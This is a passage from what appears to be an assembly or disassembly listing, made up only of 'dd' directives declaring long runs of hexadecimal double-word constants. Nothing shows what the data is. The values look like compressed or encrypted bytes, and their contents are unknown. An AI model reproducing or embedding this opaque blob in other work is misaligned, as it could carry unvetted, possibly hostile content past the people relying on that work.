0BA25CA51h, 0CA9C0CC0h, 0AC6363EEh, 7D4B83DCh dd 0C18C16ADh, 0B8848B7Ch, 3D55D54Ch, 30DCBD1Bh, 5A6FFC21h dd 8D5CD5BDh, 0D5FCC485h, 2FC2E655h, 0D65A4E8Ch, 0D6741F65h dd 6B5AB710h, 0DD6DD6CDh, 94D6FA5h, 0CDD73D71h, 0C7D0D757h dd 0D7922DCDh, 0A8070C45h, 0BBAA7D0Bh, 0A72D7FBAh, 84D83D81h dd 523F448Dh, 0D8705E24h, 53D9024Eh, 26849350h, 254263CFh dd 5CCF6519h, 0C0580583h, 0C5CD9323h, 0FCC607F0h, 0B27093BCh dd 0D04D9DD9h, 0FADA0D9Fh, 0ADA389D7h, 0DA67FFD0h, 2202D8A6h dd 7DAA00E0h, 0C79A9680h, 0FABE1117h, 0DDB3BE49h, 0A00B47D1h dd 0ECDB9C84h, 0EDBD3B8Bh, 0C8CD29DBh, 60D2D971h, 0ADC6BF72h dd 0DC96CEABh, 994A28CFh, 0A2D8B61Ch, 0D72A1C08h, 0C6DD2D3Ah dd 53E6D3FAh, 0D43DD998h, 0E598AD44h, 0DCACA2C8h, 0DE3CAECAh dd 8EAD8A32h, 8A3AA3E5h, 3E7CFECBh, 0CBBDEA1Bh, 0FA998DECh dd 4DF1DEF8h, 7B3DF39Ah, 0F7CC5D5Eh, 7CCBD62Dh, 9B0D655Ah dd 0CF1FE7C0h, 9E03D6BCh, 8C7C89Bh, 65CD8210h, 2BA1BA0Ah dd 22FD78C4h, 0D5CE1C47h, 4E1307B7h, 87EC4AE1h, 0E9D82E17h dd 0C363365Ch, 23D24035h, 2024D240h, 57E6C5AEh, 44F24988h dd 29C5A886h, 0AEBCE2AEh, 0E2D05EE2h, 90D8FD94h, 0B37B04CDh dd 0E35D9CD9h, 3827BB2Bh, 0C6CE39Eh, 8A3C6E75h, 26D0EBD5h dd 0A807E410h, 0DAE75D5Fh, 48116ED8h, 0CAA139AEh, 0DB5960B3h dd 4F2A6DB6h, 30173B1Eh, 0DBEC88D2h, 56775DBFh, 6E58820Eh dd 0C94D31BFh, 3561B566h, 0C0772D2Dh, 6D6C9ADCh, 68173D3Ah dd 0BAC8B66Eh, 0AE4B4E6h, 0DC8E0D42h, 18E3DDDDh, 3F2C10E7h dd 0C41A3E74h, 7E761A20h, 591993E7h, 0BBF11E7Dh, 1DEBE7F1h dd 0B828F2E8h, 85DF0851h, 0AE87B86Eh, 0C2AC270Bh, 63E8CE8Bh dd 3D66AF5Dh, 0E92C3FEh, 0E95E01E0h, 98667E96h, 0EE9AE06Eh dd 0D767217Ch, 2DE0D723h, 0A7D57D02h, 0E13F379Ch, 78BAC43Fh dd 0AEAA49C6h, 59EACEAh, 4244223Fh, 9EB3442Fh, 56BB4C5h dd 0E624F36Fh, 0D23CE287h, 23BEBCEBh, 50EC0F50h, 123BF470h dd 0EC5B27E2h, 0C9EC8E34h, 0CECBECABh, 7FDBCE74h, 0EFED0D0Ah dd 2ED39509h, 0BD9E44E4h, 7CD15E45h, 0EEDCEDBCh, 603DB4EDh dd 3C83E4Dh, 8558E51Ah, 610C8AEEh, 0C1820DC1h, 0AEEFDC42h dd 2CC49CB5h, 61568E5Eh, 10770731h, 81DCEE6h, 1DE64D72h dd 8EFB4A9Ah, 0D40A2162h, 0D9A262EBh, 0EF03DDADh, 634DDE0Ah dd 732F83F0h, 0BF0AD49Eh, 0F0D0C3F0h, 10F0F992h, 4D53F12Fh dd 0CB9D54F1h, 17AE3AE2h, 0B31ADEEFh, 0F1D8FDF1h, 8BDF51D0h dd 885D4E2Bh, 0F24DF9DFh, 1F264EAh, 0F0A1AFCEh, 0F2A0A1FBh dd 99B9CC3Ah, 0CF30F2FEh dd 0E9EB09E9h, 0ABA8672h, 0FED5C48Eh, 50740747h, 7DAA6BEAh dd 85F3FF3Eh, 950F246Dh, 0EB323EFDh, 4FC539D3h, 23DF562h dd 0FE3FE206h, 60EBCFE2h, 0B050F510h, 5023BE2h, 3AFEA05Eh dd 62695DC7h, 0F5DF5CECh, 0A2DA0F5Eh, 2DA474FDh, 0F66F6580h dd 0D9F69ED4h, 0B100952Bh, 340A040h, 341E0D05h, 8140C058h dd 3C150202h, 0C2111884h, 2C148A44h, 0D168C45Eh, 210B46C2h dd 0F9047E3Ch, 138944B1h, 509E4D25h, 4AE55291h, 0BE5C3295h dd 0E63311BCh, 6C3E1F8Fh, 44B9B4DEh, 52294EA7h, 0E2A4FCA8h dd 0A250E813h, 0D1CC345h, 19E905F3h, 0BE994DA6h, 0EA351A81h dd 0AC79AA1Ch, 559409E6h, 8A455650h, 452150Ah, 0B258EC49h dd 459D2B63h, 5AAD569Bh, 6ADD6D4Dh, 6E571512h, 0ED75535Ch dd 979575DAh, 79BCAB15h, 0DBEDFD67h, 0C260D697h, 0CAE170B4h dd 2F97D895h, 3718C060h, 0D878DC86h, 8993CA64h, 59761E5Dh dd 9CCE66F3h, 6FE7D97h, 68745A1Dh, 9F4DA567h, 0DA1A5D46h dd 5DADD66Ah, 4D3D6EBFh, 0B5DA6CF6h, 0FD7ECB6Dh, 666EB74Ch dd 53337DBDh, 31F83C16h, 1F8DC561h, 0B95C9E47h, 9DCD5D72h dd 0DD1E873Fh, 0D0E8AD96h, 0BEC75D77h, 0EDF6D6ABh, 77FBCB0h dd 0F8D5BDEFh, 9FCCA9F1h, 153E9F47h, 0DDEDF629h, 0CA4F87BFh dd 0F5FA7CD3h, 9FC2613Dh, 0FCFEFF5Fh, 7FD429Bh, 64D9430h dd 340B024h, 4124A40Bh, 84641305h, 841E4641h, 1507C230h dd 3F906419h, 0C330C42Eh, 90E0F63Fh, 0F8EE3FC3h, 350B42A3h dd 130F03FCh, 44E3A8EBh, 115C5714h, 2C5F170Eh, 6632C603h dd 1AC6B1A4h, 0D0A3A91h, 0A2CC751Dh, 0F0B31F47h, 87214822h dd 22C8B224h, 0C93240A7h, 0B260AC27h, 80A326C9h, 0A7294A32h dd 2F0A72A4h, 0C121C92h, 0B2E4B72Dh, 0C0B12E4Bh, 0B42F0C02h dd 278A02F4h, 4D220090h, 7364D735h, 0B4DE1DCDh, 0E7394E21h dd 713FE94h, 0C1C4EF3Bh, 0E4F73D05h, 493D4FB3h, 40D03400h dd 8454203Bh, 5440440Eh, 0C03A0C04h, 1E0AD1A0h, 18523485h dd 0E07044h, 0B4B52F4Bh, 1A060681h, 134F2108h, 88A1C832h dd 0A2A8A546h, 0A8E54E8Ch, 0D5690A3h, 4E9203C1h, 94A5892Ah dd 25F59052h, 0A99A6497h, 0DA6E9C26h, 7CA12789h, 6128AA12h dd 0A951C287h, 4A7A9CA5h, 0BAAAA9AAh, 9EACAB0Ah, 0B2ABAAEDh dd 2D6B35A6h, 0AB7AD76Bh, 0BAE4B9ADh, 0FABADBABh, 0BFB02BDAh dd 95CC0966h, 0C3B08C2h, 73165CB1h, 0DEC8B1ECh, 0CEB2CCADh dd 9897A5E6h, 2D15EED1h, 83517D35h, 6F7EDFADh, 0D8603803h dd 37EDE376h, 8E1384E0h, 6616E5B8h, 1EEAB998h, 0ECE21886h dd 960EE3AEh, 8F03C2EEh, 0E3D4F23Ch, 3EF8BCF8h, 913ECF8Eh dd 64AFE3EFh, 594402FCh, 265703C0h, 1B05C170h, 994244A4h dd 1050A427h, 0B0CC4841h, 61150E43h, 4B9C4284h, 0F1154FEh dd 0B160E83Ah, 0A0E117E8h, 971B68F1h, 1C47032Eh, 0C811FC79h dd 0BAA48D1Eh, 4493216Ah, 0B7274A12h, 0AF4A82B6h, 6ADAC4A1h dd 1B26C72Fh, 44CC2C0Ch, 0D736ED22h, 384DF36Eh, 4F1B84E9h dd 9BA4FD3Ch, 3501414Fh, 0F425001h, 45D1343Dh, 0F0348D1Dh dd 14AD2608h, 0E5354C53h, 17C553F4h, 51D4482Ah, 0D4F52A25h dd 9555528Ch, 82469055h, 37595635h, 5C0655B7h, 5769A06Fh dd 0E9ED7B5Eh, 1D836027h, 7162D856h, 650CF644h, 8E6AA2A5h dd 2AE59D66h, 9DA9695Ah, 0D1DD5AF6h, 6DAE16CAh, 2F16F2E9h dd 0B71DCABDh, 3B0773DCh, 0D8C7B14Ch, 0C879B77Dh, 0FA37ADE4h dd 7EA5F0CBh, 0F355EB5Fh, 2687B37h, 0DCB6FEE6h, 37B83608h dd 0B8538784h, 8E19F361h, 75F57D38h, 5AE29899h, 0E35F8630h dd 1FA63A56h, 1BD9FB64h, 4D936459h, 9640394Eh, 0CB84DFFFh dd 933365Ch, 36106B45h, 0FE85D9FBh, 0AE882438h, 2667E84Ch dd 8AD09A0Ah, 0CDA522D6h, 9B4C82A8h, 869ED391h, 0CD59A886h dd 924C1E83h, 4236B894h, 4B0D81AEh, 0A5B2C1Eh, 280500C1h dd 4C85C130h, 0D89A1B48h, 0B8204336h, 94376E0Dh, 46EADCDBh dd 2091BBB7h, 5BE2866Fh, 37F514A2h, 704E040Ch, 0E1410030h dd 4DA9970Ch, 9F716411h, 1C018852h, 9487B8F7h, 0C392020Ah dd 5042AA48h, 0CAB00BB9h, 95792455h, 2B5736E6h, 742E7D5Bh dd 0AF41F3A2h, 3613D096h, 0A97511B6h, 8EEACA03h, 41D794E5h dd 7BB37625h, 776D0316h, 6591DC3Bh, 0DDEBBB77h, 0BC1780EFh dd 5C45F0C0h, 614C1180h, 0E4986170h, 0EE318BADh, 33245E72h dd 51E8BD23h, 0B3D75F0Fh, 0E7B433DEh, 0B275EEAFh, 4DD9AE36h dd 3E37C4F8h, 94C31C65h, 2A5F3CA7h, 563EB391h, 0BB7DA746h dd 0E2FC05B8h, 75FA31A7h, 0CBF67EECh, 77F6FE9Fh, 6CA5FEB2h dd 60009813h, 0F8FE04CBh, 0C8420232h, 59BB3676h, 9211502h dd 80ECF449h, 1E10D339h, 941042Eh, 3068F04Eh, 308C9A42h dd 0FDA741A8h, 0ACDF83E8h, 46BC14DAh, 0E1467242h, 21542884h dd 0CEA0D218h, 0A10B12Dh, 0BC2704Eh, 1A434863h, 7486F0DAh dd 769DE1CAh, 921EC3C8h, 12866F60h, 6A04A362h, 20454844h dd 0E2483402h, 80D70F12h, 8A2E2E27h, 2A2A453h, 8D458722h dd 5D02E470h, 3F4608F4h, 855681E2h, 19258C00h, 48C64A01h dd 4AE09846h, 63383E57h, 13B0944Eh, 8E11B637h, 0B18A43AAh dd 3ABAD28Eh, 0CD8EE1BEh, 0F91EE3CAh, 0FCB147D8h, 0DC817751h dd 52EEF056h, 3221E248h, 974C8A2Fh, 0C90798BAh, 926F3648h dd 2597A494h, 7DC985EFh, 9E36126Dh, 5A6E2AC4h, 1E514A13h dd 4A77C6Ch, 7954F96Bh, 959656BEh, 98BB137Dh, 0B1B6332Ch dd 96EC725Ah, 2EA5CB1Fh, 0BA4BD3F5h, 0C197E802h, 6330E614h dd 9A4CFE56h, 24810B45h, 9A23041Ah, 266433D9h, 0A21844B0h dd 768CD126h, 21C4384Dh, 60C4D746h, 1489B8D3h, 0B2D3811Fh dd 0D69AFA45h, 6FA54848h, 699D70AAh, 0D61D2D00h, 0B2773679h dd 54F29E10h, 66D93D1Bh, 29D67BCFh, 67DA799Fh, 3796EE9Fh dd 0A02A167Fh, 41682444h, 85509A0Fh, 0D00E022h, 1843227Dh dd 428880B2h, 0AD14226Eh, 0A0424728h, 94768D51h, 0C13D1FA3h dd 52304608h, 262ADE92h, 4D15D528h, 9583EA52h, 52A5612Eh dd 5F4B4250h, 0B0A4D30Ah, 0BC758E8Eh, 0A2B54E29h, 0B4F0B0D3h dd 56C53E5Ah, 54277EB6h, 2FAB95E1h, 522A3BC5h, 0C73CA5D3h dd 4FBFD534h, 0A4676A85h, 0A6AA2F9Ah, 8D569346h, 0AB1564Dh dd 928982CAh, 2B0CA594h, 4A9AC758h, 7DB2B2B3h, 786B54B1h dd 0B756D968h, 713DF5BEh, 0EAC94FB5h, 25FCBDAh, 3E264073h dd 0C9895E90h, 15FE3DD7h, 44708C43h, 4C92BA84h, 902AC3FEh dd 0AC5CD59Ah, 0D8C6928Bh, 29164EC8h, 65D20065h, 0CCA41C85h dd 50499392h, 0B53A60FAh, 99A1CEB4h, 7E4FB4ADh, 385D3C67h dd 8DB6D54Fh, 0C1B5ADB5h, 27D4ED6Bh, 87ADD413h, 6D813026h dd 812886FBh, 6A08E02h, 954200D5h, 22DF2988h, 75C00100h dd 0B8B70E8h, 37222B11h, 2E6D1755h, 0E7BA3848h, 0BA4ABC13h dd 0E74965D4h, 9B5D8264h, 0DCA4F768h, 0D7A24255h, 8E375E18h dd 914728D7h, 55901869h, 0E55AF4D3h, 0E3D08159h, 47EBDD1Eh dd 136256F8h, 506F93BCh, 0A2DF6BE9h, 0E8BF2B92h, 1B23AFDAh dd 46FF54C3h, 12F5C026h, 7AA4BD8Eh, 0EF5CD21Ah, 9EDE08C0h dd 0D5BC1782h, 0C1EC1B06h, 2A308BE4h, 0AB0DC27h, 0DB3B2FABh dd 0BF8670C1h, 770E56C3h, 3F8C3D8h, 91487D31h, 988C521Fh dd 313E25AEh, 62BC54CBh, 0AFF4EA02h, 24C4988Ch, 45089422h dd 1AB0B5FCh, 6F6203DAh dd 0FE1622ACh, 3BB1C8BDh, 0CED2E0BEh, 519E3E0h, 0ED97C879h dd 6C8C951Ah, 2D566F05h, 434DA085h, 65085793h, 0CA769F82h dd 9BB2ADA9h, 2D5ADCAEh, 5D4F96C3h, 6B3F53F6h, 97324FFBh dd 328FB739h, 7CD76EE8h, 19BF3729h, 0EE138ACEh, 67300A02h dd 8B144E89h, 0AAEE5394h, 3EAADCF6h, 0B4BA5747h, 0CA4A7402h dd 16942B88h, 4938BB5Ah, 0DE75CE74h, 11C74768h, 0A6DE6D2h dd 0C785997Ah, 0D374EAF5h, 59F4E965h, 513BE77Ah, 7ED49213h dd 52F1EFC1h, 0B6FEEAADh, 2F379DAh, 31855406h, 0D25F593Eh dd 0D29A334h, 49CC0C33h, 93FD975Dh, 83AAE1ABh, 8D5FD7Fh dd 0C5D89B0Fh, 6C754E9Eh, 2B649D91h, 60A9161Bh, 0E96DB376h dd 0C27B68E1h, 2BA6D63Dh, 0D783F130h, 0AF882B6Dh, 20A63B3Dh dd 0C1893112h, 1511960Eh, 0D3E46642h, 0AD0DCD0Dh, 0D639821Bh dd 3DE3BC31h, 9BD0A6A3h, 0F216F746h, 59AC8E14h, 90FE75AEh dd 52DA646Ah, 59F4B819h, 0E09C0ED1h, 6A328FAFh, 1DE56E13h dd 0AF9F1960h, 597B2E5h, 0D94443F5h, 0CD03E2B6h, 0A01F41ADh dd 0D9B5C371h, 0E2871FE3h, 724E4770h, 0E50E4B93h, 46F94817h dd 0E972DB9Dh, 2AE639FEh, 43A0F998h, 0EB9C6867h, 0ED2EE77Ch dd 0A624FF9h, 6B29D774h, 0BA1D360Eh, 0E9A76B7Ah, 0BE1A73A3h dd 50A4174Bh, 44C87E9Fh, 54313522h, 0DFD59E67h, 6E4A7585h dd 0F6B3EB9Dh, 0D3BB13Ah, 0B32AB8DDh, 0D35CBB2Bh, 3B48682Ah dd 7BB5B5Fh, 72B1360Bh, 0B628E33Bh, 0E83B88E6h, 0A8ED3B98h dd 3653BA85h, 0BD0F2BBCh, 8AB7AB6Bh, 0BC01902Bh, 0BC0FD194h dd 3BC2A00Ah, 449DB3Ch, 0C6049266h, 48448463h, 9113C784h dd 74A643C8h, 3C9BC9Bh, 83C3CB1Ah, 0CC83BA09h, 2A6D3CD3h dd 9A71D683h, 0D01A59A6h, 23D12CBBh, 0A7437EA1h, 0A1AD0B25h dd 82D23D69h, 2783D83Dh, 1932A329h, 85BDFE9Ah, 0CBDC32C3h dd 0AD9B88BDh, 43942B89h, 0BA22B329h, 7B8CB8h, 900C01Ah dd 0E803BE28h, 0BE4BE438h, 39BE5886h, 4393BE6Bh, 0B3D08DB9h dd 0EAA8FA8Eh, 0A398011Bh, 2EB15BAEh, 0EDAEB81Fh, 0F15D39BBh dd 0B463EFBEh, 9FBF13F0h, 83F2A39Bh, 34A8351Dh, 409DA0ACh dd 43F6AF60h, 0AA03F7BAh, 0A216EBA6h, 3AA32FB2h, 0AA5BA997h dd 0C6BFD3FCh, 0ABACBAC0h, 0A520E297h, 7CB01BAEh, 0BC018DE9h dd 0C030D635h, 0D60DA456h, 69F09F00h, 0C07B5FC0h, 0E585D309h dd 0A85D4098h, 40B8E740h, 0EFBBB258h, 0F3BC8F30h, 0A5C1FAC0h dd 118F7C10h, 24129FECh, 0BC3B6DBCh, 4CC15907h, 8C164160h dd 41A41941h, 0CC1C3C9h, 5BCBC1D1h, 46E03B91h, 0C811AB77h dd 0FC2111BAh, 4231A631h, 0AB92B1ABh, 0B3D31AD9h, 12D91A9Ah dd 0D19A1C27h, 3478C28Ah, 0C2AB832Dh, 2C21ABD9h, 0F27CB864h dd 0AD938813h, 2128021Eh, 333DFAFEh, 2C322233h, 0BE2C33C3h dd 4F4363E3h, 78052289h, 438AE2C3h, 0CAC39BE7h, 0A00F1569h dd 92091C8h, 402E9C3Ch, 0B9CF43E3h, 15CC3F01h, 4109AB43h dd 0EB44C41Ch, 0A37B4609h, 44BF1A97h, 6C461654h, 0B4BC4744h dd 0F7449448h, 88480B43h, 96E350AFh, 0A79E1B51h, 53A93533h dd 9E5A4717h, 4FCA00C5h, 80CDC504h, 8614518Ch, 531840CBh dd 8D0453Ch, 8674013Bh, 570D70DDh, 44044034h, 0C06458BBh dd 5AA52459h, 70E6B0A4h, 85D98798h, 0B3C5D9F4h, 0F45FB642h dd 0C0EC608Eh, 5BA5AC61h, 4411191Ah, 0BC1900C6h, 0C2A60BC1h dd 7262ABDBh, 0C6804E84h, 7BC7468h, 146ABC81h, 91210E84h dd 6E37646Ch, 89A3C6ECh, 2C7CC283h, 6411DC20h, 2AC8AC91h dd 37D9AB47h, 3611A270h, 5C774C90h, 1301B327h, 28C79130h dd 4383C29Ch, 384C2B13h, 0DB3DA9B7h, 0DA1CAD73h, 3DDC2E47h dd 0FEBDE812h, 309421BEh, 200AB8BCh, 48301848h, 84C84336h dd 1287883Ch, 1533E639h, 0CA2E4AE4h, 0B48AA8D9h, 43C290C8h dd 0EB231C3Dh, 29348E2h, 81F490C9h, 0EF491826h, 4C432363h dd 0AF3B4949h, 40C96965h, 0FA9D4478h, 0AF7C988Ah, 0B7C9AC99h dd 0D44BC4B0h, 3F9A430Bh, 461E4173h, 3FCC9EAh, 4A14F3CAh dd 4A4A28CEh, 4A5CA4Ah, 0D30DF3Bh, 0A9304C02h, 5CAAC574h dd 4AC0DF40h, 0B23B6C5Ah, 0B8E48E7Ah, 4AFCAF45h, 0D0EC30Bh dd 9C0E40DCh, 4624B41Fh, 0F8B694B5h, 1D068538h, 4B685185h dd 143C1100h, 2CB91FFBh, 0D0C04EA6h, 994BC416h, 0AA044BD9h dd 31B46BC1h, 0C111641Dh, 2B774C1Ch, 11A377CCh, 1D8A6834h dd 88A6D151h, 4C691AACh, 6F9ADCC7h, 64C991AAh, 9B247783h dd 0D7CCCCCBh, 44CE4CDBh, 0CD032AB8h, 2CCD14D0h, 0EC2DCD23h dd 0A20A1EC7h, 31B8B47Fh, 7808BE14h, 4344D800h, 4DFEA4D9h dd 37085A28h, 0D2E3CDC4h, 0C3988BCDh, 12A8F4DEh, 752F0118h dd 0C8D3EAB9h, 8F9CFCE2h, 5CE4C40Ch, 493BEFCEh, 99348238h dd 60A84E8Ah, 34B3F4C9h, 3DC97CEAh, 0A4EC4EBAh, 0A9E8B549h dd 0B9BF80B4h, 85749C0h, 2454F097h, 0A0BFBA46h, 34F3B55Ch dd 0CD3FD54h, 0E0CF6357h, 5CF74A50h, 0CF806706h, 4455CA7h dd 5B5D4FA4h, 0C580698Dh, 0FCCFC4FBh, 33094074h, 4FF0EA9Fh dd 0D00061h, 70EA45E5h, 0D020EBA5h, 430DD02h, 3678F55h dd 0D5950699h, 8D08507h, 5465D09Dh, 49999B1h, 70D0C50Ch dd 0E468BC63h, 2C2A03D0h, 7410F204h, 5AC5375Bh, 0D1203C11h dd 13917512h, 6832D145h, 0D16033D1h, 1B517D16h, 0B4C6D189h dd 51BD1B91h, 0CBA14B81h, 751DC284h, 21851EA7h, 1F827024h dd 1520A7A5h, 47D4D152h, 0D39BB523h, 622047FCh, 0BE0D2594h dd 7A807BE1h, 7C83D285h, 0D7D000A2h, 2868FE00h, 0DB9C6886h dd 0CCDCC874h, 0B9400A52h, 91A2FCDEh, 1C3C4E00h, 3EC01929h dd 0E3D32D32h, 4B4439ACh, 0D35C9253h, 37536961h, 88A93A0Dh dd 0BA21D953h, 0B053B4EAh, 6AF68480h, 0C9B44A3Fh, 0F096F241h dd 2AFD2FB4h, 0D444F34Fh, 0FDD45544h, 83589E93h, 0DF8D154h dd 4AC05067h, 0B9EE54BDh, 0C57C5606h, 0AE8679EFh, 4D4F2AF2h dd 1F455018h, 0F48E3D51h, 440B0EC9h, 3BA0E755h, 0F0058BBBh dd 74B3CB30h, 0D580F455h, 0ABD5918Fh, 0C4B6D07Dh, 50A10104h dd 841436Dh, 0D5E55D9h, 847416B7h, 95605B2h, 219BD0E9h dd 0B7541BD6h, 81A2B1Bh, 726BD65Ah, 0D6891AD6h, 6AB49569h dd 0BD18D6B5h, 56CACB82h, 3A56D83Ah, 0F92FB250h, 479D7056h dd 78218329h, 0A7AD732h, 81C42CD2h, 0D8A1D4D1h, 1A7FB892h dd 333D7933h, 27D7ABE1h, 9B8E4D8Dh, 0D7D883CDh, 852E0D7Dh dd 14383E50h, 4DE581D8h, 15752EFEh, 0E1D3148Ch, 3532894Ch dd 0B9AC9023h, 0F0BEFD89h, 6A99D8BBh, 8350350Ah, 0D9D8D8A8h dd 0CD39B4B1h, 8AF9DB34h, 0B2D912F6h, 0F1DC8478h, 0CEEC4AA9h dd 7359416Fh, 0BAA4B539h, 0C9FC9F3Fh, 0A144F596h, 71E8CA1Ch dd 8D2599D4h, 0F9CA80DFh, 0D8DAD9CCh, 0C04CA8D9h, 0A04AB54Dh dd 24AC54EDh, 0DA3185DAh, 0EC5A45A3h, 58E98E78h, 5A75A6DAh dd 3D035A8h, 0A98F5A9Dh, 8548F75Ah, 0ABDFB853h, 625ED59Dh dd 0B6C4120Fh, 5E5AFCB8h, 255F04EDh, 8475B2DBh, 615B450Dh dd 55B5DB55h, 0A6A5B6A0h, 0B8DB8564h, 0A513CC25h, 0D16516DBh dd 725BC0A3h, 0B475D6BCh, 832DBF11h, 0C0DC003Ah, 702E92EDh dd 2D2DC232h, 0C4C29D71h, 65742D5Dh, 32DDC75Ch, 2E93DD76h dd 8C2FC7FCh, 0BE0C3157h, 7BDCBD26h, 0E94FD295h, 0DCFDCEDCh dd 808861C6h, 0DD81D2C5h, 0A8E4894Dh, 0EB5D452Eh, 65861CE3h dd 0FE74E35Dh, 0DD85895Dh dd 2FBF09D2h, 716362A0h, 0E2C5DB8Ah, 0EA5DD5DCh, 0FAF61DA4h dd 0A9DD900Ah, 488478B1h, 323FC498h, 53F8515Eh, 0E585A594h dd 3DE73A9Dh, 0B565E854h, 652A844Fh, 6CF75478h, 5EC8DECAh dd 4B1EED9Eh, 7DEEAAC5h, 0D60D98Dh, 9FCFB069h, 9BB55F15h dd 5F35F2C5h, 14FF0E7h, 0DC5D5535h, 0B655F745h, 56DF85A7h dd 25FADF9Dh, 0DFD5FC85h, 5A853E4Ch, 40F6900Dh, 2BBDAD99h dd 12BD55Ch, 355F55EEh, 0E0460360h, 0C2DB4908h, 0CD6290F2h dd 0BCB269C1h, 0C6D66565h, 0D3CE60A2h, 91D0A611h, 22E0CC71h dd 5921E0DCh, 60FCC91Ah, 2283283Ah, 212D6111h, 5C25C1E1h dd 0CF5C4614h, 1E165C54h, 2D8D22D2h, 0BDA7E817h, 89BFBDF1h dd 48180E94h, 0CC5CBD7Ah, 538E528Dh, 0E1EE1E9Ch, 0E2150B38h dd 233AA88Ah, 22D58262h, 24E243E9h, 6E26585Eh, 39BD3362h dd 8AD89E28h, 562A9D4Dh, 0B6FE2B8Ah, 1D8E2CDDh, 3CA3C58Eh dd 0F19B0AD8h, 0D90DDFE2h, 48969E81h, 0ACECE320h, 0D3E53D84h dd 0F9634592h, 55E55E4Bh, 6375E6D9h, 0F4DE8E38h, 5E3AD98Ch dd 8DF0D34Ah, 0EDD4CE3Ch, 0FE3F0DA5h, 640D4D63h, 42182069h dd 3C59642Eh, 0C08B6164h, 0A5A4AB2h, 8E4840ACh, 5A88F0E4h dd 5864ADF9h, 0D64D0F45h, 3BF99464h, 25AE4B7h, 12BCDAE9h dd 507849A0h, 70E01E52h, 4DB3653Bh, 65590865h, 5719D19Bh dd 0A65826A6h, 659E5926h, 69513D67h, 91DE5BDh, 0A0C65D83h dd 5F82F65Eh, 3132660Eh, 82E9B192h, 0CC51CEB1h, 3570E134h dd 66582638h, 74219E66h, 7D751B7Dh, 0D775C85Ch, 0E0220524h dd 0DD2761BBh, 94C66E66h, 70E701C5h, 2E71AE0Eh, 0B3B487E7h dd 8EE23954h, 5624A8F2h, 95A095E2h, 88677A92h, 0CDD809B5h dd 161E7A39h, 0E834962Ah, 0CE7C8A64h, 5DD67DE7h, 4C67F167h dd 0F8AEAF63h, 1842FEE2h, 0B15E08Bh, 84C99683h, 5B4F8486h dd 3F88B768h, 35DE4BA7h, 7636B546h, 5E8176E3h, 0EA4F5DE9h dd 0D453E8C5h, 4F968DE8h, 0D968F63Dh, 0B04E900h, 693E41E4h dd 53694DA0h, 3552408Ah, 0E975F52Bh, 98E980E6h, 9D036996h dd 0B678F35Fh, 5564C8F4h, 0F64D6EC0h, 25F463E4h, 14CB8313h dd 184EA013h, 84CE5205h, 0A3266601h, 0CCBC6A3Eh, 6054BD4Bh dd 719D46Bh, 95656A86h, 0EAA6A9EAh, 1D569CC2h, 1D6AEAD1h dd 8362C8B2h, 7F119E0Fh, 26B1A153h, 4CB611E1h, 6551DE64h dd 72D532A6h, 27C574EBh, 7D01C93Ah, 0E69668Ah, 0A803DE14h dd 0D69465C9h, 36BCC824h, 0E6FB35C3h, 876BF6BEh, 16C0D7FAh dd 88E4396Ch, 0C40916C2h, 0B6C5A31Eh, 0C90EC6AEh, 0E6EC8294h dd 9ECA4434h, 0ECC6CBB7h, 47496ECCh, 0FECF0ADCh, 5E06D0ECh dd 838486D2h, 0A0B3E856h, 6D56D549h, 35634E86h, 96D88596h dd 0A4F46DFEh, 5E9EDB68h, 59EDCB58h, 0E0666DDBh, 6DFE8EE8h dd 41690E40h, 20690D5Eh, 0EE2DF0E9h, 86E38DFh, 5409A554h dd 501E97DFh, 0A8AB54B2h, 0B0F5EE9Dh, 55918E9Fh, 538556ECh dd 0D738F380h, 69DEEDDFh, 9FB12A5Fh, 1105413Eh, 0D0C6A1EFh dd 0F34BB6F2h, 484950D6h, 604DB3EFh, 1C6A6CBEh, 9EA82084h dd 0DB95126Fh, 16038EFAh, 0DEFCF48Dh, 0EFE20F65h, 3603AE0Fh dd 2C259310h, 92F7011Bh, 0B3EB3663h, 30247046h, 705CCF82h dd 5481CCD1h, 9668E17Fh, 0C30524E1h, 48E1B281h, 0D6BC38C9h dd 70E00C70h, 7070F14Fh, 328838FEh, 28A5D1AEh, 8F7131CAh dd 948CEC40h, 81481495h, 9AE77F15h, 1E79678Bh, 0E29F1849h dd 0CC5DAE7Bh, 0EE2D0AA6h, 5DEE7FE7h, 306D0DDFh, 0B26D06h dd 4ED53CF2h, 0D63506D5h, 7E8753F6h, 0DE659568h, 26CA0DE6h dd 0E1E6F277h, 0DEB63A0Ch, 0EC0D38CFh, 0FE2B6DEDh, 0C9EF72BFh dd 0F2DF2E35h, 2FD4E72Eh, 44FD251Fh, 0C5CB61EEh, 0EC0E9F32h dd 4F3440C8h, 0F35EE973h, 3925A98Fh, 0CF86F39Fh, 64F73B64h dd 0FEE50994h, 0F73EEF00h, 0F416F273h, 3EA3D5Fh, 6E557436h dd 0EF7D0FEFh, 46C6C269h, 0AD136097h, 91991DEFh, 17F4A567h dd 119E0E5h, 66111466h, 1E11270h, 7037027h, 0E65D1ED7h dd 0B7753752h, 0CA1BF076h, 81581B01h, 0D34D2817h, 0ECD421F4h dd 0E6B577BDh, 81E6C00Ah, 0DF5AE1C4h, 75C88438h, 7275DF5Dh dd 1A2B1C7Eh, 0F12EC1E2h, 14F61955h, 7892814Fh, 0C8EC8EE7h dd 17A93AECh, 82986C97h, 0F1A833F6h, 0DDD3958Dh, 0D6801675h dd 0F6C8ACA9h, 3E968DDFh, 0F208B4Ah, 0C9BBA677h, 0D7DE42A1h dd 49E4724Eh, 0D42F73AAh, 27638247h, 860AA67h, 5EA8CD06h dd 0DE0D45EBh, 0AE3E779Eh, 72E0DBF7h, 92FC9641h, 5AAEF7E6h dd 0CFE6443Bh, 0F60EBF80h, 55FE98A5h, 44B2F835h, 5FB784F8h dd 86F37F37h, 0EF87F39Fh, 788850DFh, 3DFFF3Ch, 26F1D5A1h dd 0EF2D5E6Ah, 42F8D55Fh, 0E999C167h, 79003FD0h, 9219FCBFh dd 8609F477h, 0F95567F4h, 97F4A795h, 96FF83AFh, 0AD012EF9h dd 2DF9A214h, 0B02EE639h, 0F9C4CCF9h, 9D023572h, 8753D207h dd 939F549Bh, 0A1017F54h, 0A47F7567h, 947221EBh, 0CB2DD758h dd 7C82EBCDh, 0FA8DCE7Ah, 10B9070Fh, 0CF11F117h, 90E74A2h dd 0AF7AE714h, 0BC8EF64Fh, 0E28F1709h, 0B3B47FB2h, 67DF1AFh dd 0F3023988h, 27982C10h, 81411E50h, 0E4520902h, 4542E170h dd 0AC510B10h, 22A1C8B8h, 6E371A48h, 92B1E4ACh, 351F8FC6h dd 0EA292491h, 2A5349E4h, 0E574B257h, 